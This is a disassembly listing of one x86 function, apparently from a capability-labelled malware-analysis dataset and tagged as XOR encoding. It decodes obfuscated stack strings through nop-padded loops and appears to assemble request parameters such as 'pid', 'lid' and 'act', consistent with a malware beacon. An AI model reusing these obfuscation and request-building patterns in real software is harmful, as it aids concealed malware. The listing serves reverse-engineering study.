Function at 0x409af0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x108
cmp dword [ecx + 0x20], 0
je 0x409ea6
mov esi, ecx
lea eax, [ecx + 0x10]
push eax
call fcn.00406120
add esp, 4
mov edx, dword [esi + 0x10]
mov eax, dword [esi + 0x58]
mov eax, dword [eax + 0x48]
mov dword [esp + 4], eax
movzx eax, byte [esi]
imul ecx, eax, 0xcd
shr ecx, 0xa
and ecx, 0xfffffffe
lea ecx, [ecx + ecx*4]
sub al, cl
movzx eax, al
movzx eax, byte [eax + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [esp + 2], al
mov byte [esp + 3], 0
mov dword [esp + 8], edx
lea eax, [edx + 0x400]
push eax
call fcn.004082f0
add esp, 4
mov edi, eax
mov dword [esp + 0x6c], 0x504a4549
mov byte [esp + 0x70], 0xb5
mov eax, 0xadee1251
mov ecx, 0x5bdc24a2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, eax
add dl, 0x28
xor dl, byte [esp + eax + 0x5211ee1b]
add dl, 0x38
mov byte [esp + eax + 0x5211ee1b], dl
mov edx, eax
and edx, 0xf
mov ebx, ecx
and ebx, 0x1e
sub ebx, edx
inc eax
add ecx, 2
cmp ebx, 5
jb 0x409b80
lea ebx, [esp + 0x6c]
mov ecx, esi
push 0x444834
push ebx
push edi
call fcn.00409490
mov dword [esp + 0x6c], 0x646970
lea eax, [esp + 2]
mov ecx, esi
push eax
push ebx
push edi
call fcn.00409490
mov eax, dword [str.Dvh8ui__222]
mov dword [esp + 0x6c], 0x64696c
mov ecx, esi
push eax
push ebx
mov dword [esp + 0x14], edi
push edi
call fcn.00409490
mov dword [esp + 0x6c], 0x5b50584f
mov dword [esp + 0x70], 0x70676c1f
mov dword [esp + 0x74], 0x62616477
mov byte [esp + 0x78], 0xc8
xor edi, edi
xor ecx, ecx
nop
movzx ebp, byte [esp + ecx + 0x6c]
mov eax, edi
and eax, 0x18
mov edx, ecx
xor edx, 0xab511e1c
add edx, eax
xor edx, ebp
add edx, 0xa5770f1f
mov eax, edx
xor eax, 0x22
and edx, 0x5d
add edx, edx
sub edx, eax
add dl, 0x23
mov byte [esp + ecx + 0x6c], dl
inc ecx
add edi, 2
cmp ecx, 0xd
jne 0x409c10
mov dword [esp + 0x12], 0x746361
lea ebp, [esp + 0x12]
mov ecx, esi
push ebx
push ebp
mov edi, dword [esp + 0x14]
push edi
call fcn.00409490
mov dword [esp + 0x6c], 0xc1dfdbc7
mov byte [esp + 0x70], 0x25
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x69
xor cl, byte [esp + eax + 0x6c]
add cl, 0xb8
mov byte [esp + eax + 0x6c], cl
inc eax
cmp eax, 5
jne 0x409c80
mov ecx, esi
push dword [esp + 8]
push dword [esp + 8]
push ebx
push edi
call fcn.00409720
mov dword [esp + 0x12], 0x18b806c6
mov dword [esp + 0x16], 0x1caf1aa7
mov dword [esp + 0x1a], 0x10a11eb8
mov dword [esp + 0x1e], 0x14ee12a5
mov dword [esp + 0x22], 0xe89e16c1
mov dword [esp + 0x26], 0xec4eea59
mov dword [esp + 0x2a], 0xe00fee27
mov dword [esp + 0x2e], 0xe456e25c
mov dword [esp + 0x32], 0xf853e659
mov dword [esp + 0x36], 0xfc4bfa40
mov dword [esp + 0x3a], 0xf04dfe5c
mov dword [esp + 0x3e], 0xf40cf245
mov dword [esp + 0x42], 0xc848f653
mov dword [esp + 0x46], 0xcc76ca7b
mov dword [esp + 0x4a], 0xc06bce30
mov dword [esp + 0x4e], 0xc477c260
mov dword [esp + 0x52], 0xd80cc664
mov dword [esp + 0x56], 0xdc79da39
mov dword [esp + 0x5a], 0xd06ade62
mov dword [esp + 0x5e], 0xd477d26f
mov dword [esp + 0x62], 0xa865d674
mov dword [esp + 0x66], 0xac66aa20
mov word [esp + 0x6a], 0xaead
xor eax, eax
mov ecx, eax
add cl, 0x6d
xor cl, byte [esp + eax + 0x12]
add cl, 0x98
mov byte [esp + eax + 0x12], cl
inc eax
cmp eax, 0x5a
jne 0x409d60
movzx eax, word [esp + 0x12]
test ax, ax
je 0x409da1
lea ebx, [esp + 0x6c]
lea ecx, [esp + 0x14]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ebx], ax
add ebx, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x409d90
mov word [ebx], 0
movzx ecx, byte [esi + 0x60]
test cl, cl
je 0x409dd1
lea eax, [esi + 0x61]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movsx ecx, cl
mov word [ebx], cx
add ebx, 2
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x409dc0
mov dword [ebx], 0xa000d
mov word [ebx + 4], 0
mov dword [esp + 8], esi
mov eax, dword [esi + 0x80]
mov dword [esp + 4], eax
mov dword [esp + 0x12], 0xc969c7a9
mov dword [esp + 0x16], 0xcd65cb5a
mov word [esp + 0x1a], 0xcfce
xor ecx, ecx
mov edx, 0x62d2376
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
and eax, 0xc
mov edi, edx
sub edi, eax
movzx esi, byte [ebp]
mov ebx, edi
and ebx, eax
xor edi, eax
lea ebx, [edi + ebx*2]
mov eax, ebx
and eax, esi
add ebx, esi
add eax, eax
sub ebx, eax
mov eax, ebx
and eax, 0x4d
mov esi, ebx
and esi, 2
mov edi, esi
xor edi, 2
imul edi, eax
or eax, 2
imul eax, esi
xor ebx, 0x4f
add ebx, edi
add ebx, eax
inc bl
mov byte [ebp], bl
inc ebp
add ecx, 2
inc edx
cmp ecx, 0x14
jne 0x409e10
lea eax, [esp + 0x6c]
lea ecx, [esp + 0x12]
push 0x493e0
push dword [esp + 8]
mov esi, dword [esp + 0x14]
push esi
push 0
push 0
push eax
push ecx
call fcn.0040c400
add esp, 0x1c
mov ebx, eax
push esi
call fcn.00408300
add esp, 4
mov ecx, dword [esp + 8]
mov eax, dword [ecx + 0x80]
add dword [ecx + 4], eax
mov dword [ecx + 0x80], 0
jmp 0x409ea8
mov bl, 1
mov eax, ebx
add esp, 0x108
pop esi
pop edi
pop ebx
pop ebp
ret